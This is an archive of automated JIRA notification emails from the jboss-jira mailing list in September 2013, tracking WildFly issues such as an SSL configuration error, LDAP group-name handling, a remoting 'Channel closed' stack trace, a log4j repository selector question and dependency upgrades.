From jira-events at lists.jboss.org  Wed Sep 25 10:30:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 10:30:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2076) SSL configuration leads to
	500 Error Page
In-Reply-To: <JIRA.12500492.1378898715000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500492.1378898715000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500492.1378898715000.268.1380119403742@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2076?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807355#comment-12807355 ] 

RH Bugzilla Integration commented on WFLY-2076:
-----------------------------------------------

FIlip Bogyai <fbogyai at redhat.com> changed the Status of [bug 1006803|https://bugzilla.redhat.com/show_bug.cgi?id=1006803] from ON_QA to VERIFIED
                
> SSL configuration leads to 500 Error Page
> -----------------------------------------
>
>                 Key: WFLY-2076
>                 URL: https://issues.jboss.org/browse/WFLY-2076
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 10:32:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 10:32:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2076) SSL configuration leads to
	500 Error Page
In-Reply-To: <JIRA.12500492.1378898715000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500492.1378898715000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500492.1378898715000.272.1380119522607@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2076?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807356#comment-12807356 ] 

RH Bugzilla Integration commented on WFLY-2076:
-----------------------------------------------

FIlip Bogyai <fbogyai at redhat.com> made a comment on [bug 1006803|https://bugzilla.redhat.com/show_bug.cgi?id=1006803]

Verified on 6.2.0.ER3
                
> SSL configuration leads to 500 Error Page
> -----------------------------------------
>
>                 Key: WFLY-2076
>                 URL: https://issues.jboss.org/browse/WFLY-2076
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 10:42:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 25 Sep 2013 10:42:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2127) Resurrect regular expression
 based group name identification for LDAP
In-Reply-To: <JIRA.12501174.1379925943000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501174.1379925943000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501174.1379925943000.304.1380120123443@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2127?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2127:
-----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Resurrect regular expression based group name identification for LDAP
> ---------------------------------------------------------------------
>
>                 Key: WFLY-2127
>                 URL: https://issues.jboss.org/browse/WFLY-2127
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> The changes contributed under WFLY-455 contained a feature to extract the group name from the distinguished name based on a regular expression search - this should be resurrected as a third mode for group name identification.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 10:48:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 10:48:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-164) java.io.IOException Channel
 closed exception after several reload of server
In-Reply-To: <JIRA.12473197.1346156423000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12473197.1346156423000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12473197.1346156423000.377.1380120483610@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-164?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807368#comment-12807368 ] 

RH Bugzilla Integration commented on WFLY-164:
----------------------------------------------

Ivo Studensky <istudens at redhat.com> made a comment on [bug 1006246|https://bugzilla.redhat.com/show_bug.cgi?id=1006246]

Relevant PR:

https://github.com/jbossas/jboss-eap/pull/464
                
> java.io.IOException Channel closed exception after several reload of server
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-164
>                 URL: https://issues.jboss.org/browse/WFLY-164
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Ond?ej Chaloupka
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Alpha1
>
>
> Small testing program:
> https://github.com/ochaloup/jboss-dmr-test/blob/master/src/main/java/ochaloup/ClientReload.java
> When I run it first time then everything is fine and reload is done and info from server is shown. 
> When I left the server run and execute my program several more times (3 or more) then it's starting to crash with exception
> {code}
> java.lang.reflect.InvocationTargetException
>         at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>         at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
>         at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
>         at java.lang.reflect.Method.invoke(Method.java:597)
>         at org.codehaus.mojo.exec.ExecJavaMojo$1.run(ExecJavaMojo.java:297)
>         at java.lang.Thread.run(Thread.java:662)
> Caused by: java.io.IOException: java.util.concurrent.ExecutionException: Operation failed
>         at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:129)
>         at org.jboss.as.controller.client.impl.AbstractModelControllerClient.execute(AbstractModelControllerClient.java:71)
>         at ochaloup.ClientReload.main(ClientReload.java:19)
>         ... 6 more
> Caused by: java.util.concurrent.ExecutionException: Operation failed
>         at org.jboss.threads.AsyncFutureTask.operationFailed(AsyncFutureTask.java:74)
>         at org.jboss.threads.AsyncFutureTask.get(AsyncFutureTask.java:268)
>         at org.jboss.as.controller.client.impl.AbstractDelegatingAsyncFuture.get(AbstractDelegatingAsyncFuture.java:100)
>         at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:127)
>         ... 8 more
> Caused by: java.io.IOException: Channel closed
>         at org.jboss.as.protocol.mgmt.AbstractMessageHandler.handleChannelClosed(AbstractMessageHandler.java:354)
>         at org.jboss.as.controller.client.impl.RemotingModelControllerClient$2.handleClose(RemotingModelControllerClient.java:135)
>         at org.jboss.as.controller.client.impl.RemotingModelControllerClient$2.handleClose(RemotingModelControllerClient.java:132)
>         at org.jboss.as.protocol.mgmt.ManagementClientChannelStrategy$Establishing$3.handleClose(ManagementClientChannelStrategy.java:189)
>         at org.jboss.as.protocol.mgmt.ManagementClientChannelStrategy$Establishing$3.handleClose(ManagementClientChannelStrategy.java:180)
>         at org.jboss.remoting3.spi.SpiUtils.safeHandleClose(SpiUtils.java:54)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable$CloseHandlerTask.run(AbstractHandleableCloseable.java:501)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable.runCloseTask(AbstractHandleableCloseable.java:406)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable.closeComplete(AbstractHandleableCloseable.java:277)
>         at org.jboss.remoting3.remote.RemoteConnectionChannel.closeAction(RemoteConnectionChannel.java:517)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable.closeAsync(AbstractHandleableCloseable.java:359)
>         at org.jboss.remoting3.remote.RemoteConnectionHandler.closeAllChannels(RemoteConnectionHandler.java:382)
>         at org.jboss.remoting3.remote.RemoteConnectionHandler.handleConnectionClose(RemoteConnectionHandler.java:103)
>         at org.jboss.remoting3.remote.RemoteReadListener.handleEvent(RemoteReadListener.java:78)
>         at org.jboss.remoting3.remote.RemoteReadListener.handleEvent(RemoteReadListener.java:45)
>         at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:72)
>         at org.xnio.channels.TranslatingSuspendableChannel.handleReadable(TranslatingSuspendableChannel.java:189)
>         at org.xnio.channels.TranslatingSuspendableChannel$1.handleEvent(TranslatingSuspendableChannel.java:103)
>         at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:72)
>         at org.xnio.channels.TranslatingSuspendableChannel.handleReadable(TranslatingSuspendableChannel.java:189)
>         at org.xnio.ssl.JsseConnectedSslStreamChannel.handleReadable(JsseConnectedSslStreamChannel.java:180)
>         at org.xnio.channels.TranslatingSuspendableChannel$1.handleEvent(TranslatingSuspendableChannel.java:103)
>         at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:72)
>         at org.xnio.nio.NioHandle.run(NioHandle.java:90)
>         at org.xnio.nio.WorkerThread.run(WorkerThread.java:184)
> {code}
> Maybe this could be connected with AS7 testsuite problem:
> https://issues.jboss.org/browse/AS7-4185

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep 25 10:48:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 10:48:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-164) java.io.IOException Channel
 closed exception after several reload of server
In-Reply-To: <JIRA.12473197.1346156423000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12473197.1346156423000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12473197.1346156423000.380.1380120483741@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-164?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807369#comment-12807369 ] 

RH Bugzilla Integration commented on WFLY-164:
----------------------------------------------

Ivo Studensky <istudens at redhat.com> changed the Status of [bug 1006246|https://bugzilla.redhat.com/show_bug.cgi?id=1006246] from ASSIGNED to POST
                
> java.io.IOException Channel closed exception after several reload of server
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-164
>                 URL: https://issues.jboss.org/browse/WFLY-164
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Ond?ej Chaloupka
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Alpha1
>
>
> Small testing program:
> https://github.com/ochaloup/jboss-dmr-test/blob/master/src/main/java/ochaloup/ClientReload.java
> When I run it first time then everything is fine and reload is done and info from server is shown. 
> When I left the server run and execute my program several more times (3 or more) then it's starting to crash with exception
> {code}
> java.lang.reflect.InvocationTargetException
>         at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>         at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
>         at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
>         at java.lang.reflect.Method.invoke(Method.java:597)
>         at org.codehaus.mojo.exec.ExecJavaMojo$1.run(ExecJavaMojo.java:297)
>         at java.lang.Thread.run(Thread.java:662)
> Caused by: java.io.IOException: java.util.concurrent.ExecutionException: Operation failed
>         at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:129)
>         at org.jboss.as.controller.client.impl.AbstractModelControllerClient.execute(AbstractModelControllerClient.java:71)
>         at ochaloup.ClientReload.main(ClientReload.java:19)
>         ... 6 more
> Caused by: java.util.concurrent.ExecutionException: Operation failed
>         at org.jboss.threads.AsyncFutureTask.operationFailed(AsyncFutureTask.java:74)
>         at org.jboss.threads.AsyncFutureTask.get(AsyncFutureTask.java:268)
>         at org.jboss.as.controller.client.impl.AbstractDelegatingAsyncFuture.get(AbstractDelegatingAsyncFuture.java:100)
>         at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:127)
>         ... 8 more
> Caused by: java.io.IOException: Channel closed
>         at org.jboss.as.protocol.mgmt.AbstractMessageHandler.handleChannelClosed(AbstractMessageHandler.java:354)
>         at org.jboss.as.controller.client.impl.RemotingModelControllerClient$2.handleClose(RemotingModelControllerClient.java:135)
>         at org.jboss.as.controller.client.impl.RemotingModelControllerClient$2.handleClose(RemotingModelControllerClient.java:132)
>         at org.jboss.as.protocol.mgmt.ManagementClientChannelStrategy$Establishing$3.handleClose(ManagementClientChannelStrategy.java:189)
>         at org.jboss.as.protocol.mgmt.ManagementClientChannelStrategy$Establishing$3.handleClose(ManagementClientChannelStrategy.java:180)
>         at org.jboss.remoting3.spi.SpiUtils.safeHandleClose(SpiUtils.java:54)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable$CloseHandlerTask.run(AbstractHandleableCloseable.java:501)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable.runCloseTask(AbstractHandleableCloseable.java:406)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable.closeComplete(AbstractHandleableCloseable.java:277)
>         at org.jboss.remoting3.remote.RemoteConnectionChannel.closeAction(RemoteConnectionChannel.java:517)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable.closeAsync(AbstractHandleableCloseable.java:359)
>         at org.jboss.remoting3.remote.RemoteConnectionHandler.closeAllChannels(RemoteConnectionHandler.java:382)
>         at org.jboss.remoting3.remote.RemoteConnectionHandler.handleConnectionClose(RemoteConnectionHandler.java:103)
>         at org.jboss.remoting3.remote.RemoteReadListener.handleEvent(RemoteReadListener.java:78)
>         at org.jboss.remoting3.remote.RemoteReadListener.handleEvent(RemoteReadListener.java:45)
>         at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:72)
>         at org.xnio.channels.TranslatingSuspendableChannel.handleReadable(TranslatingSuspendableChannel.java:189)
>         at org.xnio.channels.TranslatingSuspendableChannel$1.handleEvent(TranslatingSuspendableChannel.java:103)
>         at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:72)
>         at org.xnio.channels.TranslatingSuspendableChannel.handleReadable(TranslatingSuspendableChannel.java:189)
>         at org.xnio.ssl.JsseConnectedSslStreamChannel.handleReadable(JsseConnectedSslStreamChannel.java:180)
>         at org.xnio.channels.TranslatingSuspendableChannel$1.handleEvent(TranslatingSuspendableChannel.java:103)
>         at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:72)
>         at org.xnio.nio.NioHandle.run(NioHandle.java:90)
>         at org.xnio.nio.WorkerThread.run(WorkerThread.java:184)
> {code}
> Maybe this could be connected with AS7 testsuite problem:
> https://issues.jboss.org/browse/AS7-4185

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep 25 11:02:02 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Wed, 25 Sep 2013 11:02:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-260) Error
In-Reply-To: <JIRA.12467490.1338212652000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12467490.1338212652000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12467490.1338212652000.499.1380121322900@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-260?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807377#comment-12807377 ] 

David Lloyd commented on WFLY-260:
----------------------------------

Mr. Ochoa, do you have any update?  I would recommend that this issue be closed because it is a usage problem and not necessarily a specific bug; the best way to continue solving this issue is probably on the forums.

Thanks.
                
> Error
> -----
>
>                 Key: WFLY-260
>                 URL: https://issues.jboss.org/browse/WFLY-260
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Class Loading
>            Reporter: Pablo Ochoa
>            Assignee: David Lloyd
>             Fix For: 8.0.0.Beta1
>
>
> Buenos D?as,
>     Tengo problema con la version 7.1.1 de Jboss por defecto viene creado un Selector y yo intento crea uno nuevo para el manejo de mi classes me arroja el siguiente error
> Preferred repository selector not installed because one has already exists. No problem, using existing selector...
> Estado investigando de verdad no conseguido algo para poder solventar este problema el la ultima version de Jboss 6 no ocurre este mismo problema agradezco toda la colaboraci?n que me puedan brindar 
>    Te anexo el codigo que utilizo
> import java.util.*;
> import javax.naming.*;
> import org.apache.log4j.Hierarchy;
> import org.apache.log4j.Level;
> import org.apache.log4j.spi.*;
> public class Log4jContextJNDISelector
>    implements RepositorySelector
> {
>    public Log4jContextJNDISelector(){
>        defaultHierarchy = new Hierarchy(new RootLogger(Level.DEBUG));
>    }
>    public LoggerRepository getLoggerRepository()
>    {
>        String loggingContextName = null;
>        try
>        {
>            Context ctx = new InitialContext();
>            loggingContextName = (String)ctx.lookup("java:comp/env/log4j/logging-context");
>        }
>        catch(NamingException ne) { }
>        if(loggingContextName == null)
>            return defaultHierarchy;
>        Hierarchy hierarchy = (Hierarchy)hierMap.get(loggingContextName);
>        if(hierarchy == null)
>        {
>            hierarchy = new Hierarchy(new RootLogger(Level.DEBUG));
>            hierMap.put(loggingContextName, hierarchy);
>        }
>        return hierarchy;
>    }
> Archivo web.xml esta configuraci?n
>        <context-param>
>                <param-name>log4j-selector</param-name>
>                <param-value>ve.com.prueba.gdis.cia.config.logging.Log4jContextJNDISelector</param-value>
>                <description> Selector de repositorios basado en JNDI desde donde se
>                        configurar el repositorio de logs para esta aplicaci?n
>                </description>
>        </context-param>

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep 25 11:06:02 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Wed, 25 Sep 2013 11:06:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2001) JPA getNewTempClassLoader
 should support getPackage(String name)
In-Reply-To: <JIRA.12499967.1378309389000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499967.1378309389000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499967.1378309389000.530.1380121562864@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2001?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Scott Marlow closed WFLY-2001.
------------------------------


    
> JPA getNewTempClassLoader should support getPackage(String name)
> ----------------------------------------------------------------
>
>                 Key: WFLY-2001
>                 URL: https://issues.jboss.org/browse/WFLY-2001
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 11:13:02 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Wed, 25 Sep 2013 11:13:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2124) Revisit LDAP testing within
	the testsuite.
In-Reply-To: <JIRA.12501154.1379832354000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501154.1379832354000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501154.1379832354000.535.1380121982704@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2124?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar reassigned WFLY-2124:
---------------------------------

    Assignee: Tomaz Cerar  (was: Darran Lofthouse)

    
> Revisit LDAP testing within the testsuite.
> ------------------------------------------
>
>                 Key: WFLY-2124
>                 URL: https://issues.jboss.org/browse/WFLY-2124
>             Project: WildFly
>          Issue Type: Task
>          Components: Test Suite
>            Reporter: Darran Lofthouse
>            Assignee: Tomaz Cerar
>             Fix For: 8.0.0.CR1
>
>
> We currently use ApacheDS in multiple locations within the testsuite.
> Unfortunately in many places this has led to some quite in-depth sections of code being added to work around issues found with the LDAP server.  The problem then is that as we are only using a milestone release upgrades cause API changes making this entire block of code subject to further modifications.
> Domain management unit testing is using a custom schema which fails to load with the older M7 version so is using M15 on it's own.
> All interaction with ApacheDS should be split into it's own module that can then be used both by unit tests within domain management and elsehwere in the testsuite.  Interaction should also use the simplest method possible to initialise the server so that future version upgrades will be easier.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 11:15:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Wed, 25 Sep 2013 11:15:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1855) Implement CommonJ API on top
	of JSR-236
In-Reply-To: <JIRA.12498277.1375979511000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498277.1375979511000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498277.1375979511000.544.1380122103740@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1855?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807381#comment-12807381 ] 

David Lloyd commented on WFLY-1855:
-----------------------------------

Given that JSR-237 is withdrawn, I don't think we can justify prioritizing this.  However, if someone contributes an enhancement to do this, we will consider it.
                
> Implement CommonJ API on top of JSR-236
> ---------------------------------------
>
>                 Key: WFLY-1855
>                 URL: https://issues.jboss.org/browse/WFLY-1855
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Ivica Loncar
>            Assignee: David Lloyd
>            Priority: Minor
>              Labels: JSR-236, commonj, concurrency
>
> Please implement CommonJ API on top of JSR-236. Once 236 support is finished it shouldn't be too much work to implement CommonJ API.
> This might help migrate WAS/Weblogic customers and older legacy applications (the ones that use Spring).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 11:15:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Wed, 25 Sep 2013 11:15:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1855) Implement CommonJ API on top
	of JSR-236
In-Reply-To: <JIRA.12498277.1375979511000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498277.1375979511000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498277.1375979511000.548.1380122103997@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1855?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd updated WFLY-1855:
------------------------------

    Assignee:     (was: David Lloyd)

    
> Implement CommonJ API on top of JSR-236
> ---------------------------------------
>
>                 Key: WFLY-1855
>                 URL: https://issues.jboss.org/browse/WFLY-1855
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Ivica Loncar
>            Priority: Minor
>              Labels: JSR-236, commonj, concurrency
>
> Please implement CommonJ API on top of JSR-236. Once 236 support is finished it shouldn't be too much work to implement CommonJ API.
> This might help migrate WAS/Weblogic customers and older legacy applications (the ones that use Spring).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 11:15:04 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Wed, 25 Sep 2013 11:15:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1855) Implement CommonJ API on top
	of JSR-236
In-Reply-To: <JIRA.12498277.1375979511000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498277.1375979511000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498277.1375979511000.553.1380122104312@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1855?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd updated WFLY-1855:
------------------------------

    Fix Version/s: Awaiting Volunteers

    
> Implement CommonJ API on top of JSR-236
> ---------------------------------------
>
>                 Key: WFLY-1855
>                 URL: https://issues.jboss.org/browse/WFLY-1855
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Ivica Loncar
>            Priority: Minor
>              Labels: JSR-236, commonj, concurrency
>             Fix For: Awaiting Volunteers
>
>
> Please implement CommonJ API on top of JSR-236. Once 236 support is finished it shouldn't be too much work to implement CommonJ API.
> This might help migrate WAS/Weblogic customers and older legacy applications (the ones that use Spring).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 11:36:03 2013
From: jira-events at lists.jboss.org (Weinan Li (JIRA))
Date: Wed, 25 Sep 2013 11:36:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2156) Upgrade scannotation to 1.0.3
In-Reply-To: <JIRA.12501531.1380123304644@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501531.1380123304644@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501531.1380123304644.588.1380123363392@jira02.app.mwc.hst.phx2.redhat.com>

Weinan Li created WFLY-2156:
-------------------------------

             Summary: Upgrade scannotation to 1.0.3
                 Key: WFLY-2156
                 URL: https://issues.jboss.org/browse/WFLY-2156
             Project: WildFly
          Issue Type: Feature Request
          Components: REST
            Reporter: Weinan Li
            Assignee: Stuart Douglas


RESTEasy has a dependency on 1.0.3 of scannotation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 11:36:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Wed, 25 Sep 2013 11:36:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2156) Upgrade scannotation to 1.0.3
In-Reply-To: <JIRA.12501531.1380123304000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501531.1380123304000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501531.1380123304000.595.1380123363781@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2156?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar reassigned WFLY-2156:
---------------------------------

    Assignee: Bill Burke  (was: Stuart Douglas)

    
> Upgrade scannotation to 1.0.3
> -----------------------------
>
>                 Key: WFLY-2156
>                 URL: https://issues.jboss.org/browse/WFLY-2156
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: REST
>            Reporter: Weinan Li
>            Assignee: Bill Burke
>
> RESTEasy has a dependency on 1.0.3 of scannotation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 11:36:04 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Wed, 25 Sep 2013 11:36:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2156) Upgrade scannotation to 1.0.3
In-Reply-To: <JIRA.12501531.1380123304000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501531.1380123304000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501531.1380123304000.601.1380123364086@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2156?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar updated WFLY-2156:
------------------------------

    Affects Version/s: 8.0.0.Alpha4

    
> Upgrade scannotation to 1.0.3
> -----------------------------
>
>                 Key: WFLY-2156
>                 URL: https://issues.jboss.org/browse/WFLY-2156
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: REST
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Weinan Li
>            Assignee: Bill Burke
>
> RESTEasy has a dependency on 1.0.3 of scannotation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 11:38:02 2013
From: jira-events at lists.jboss.org (Weinan Li (JIRA))
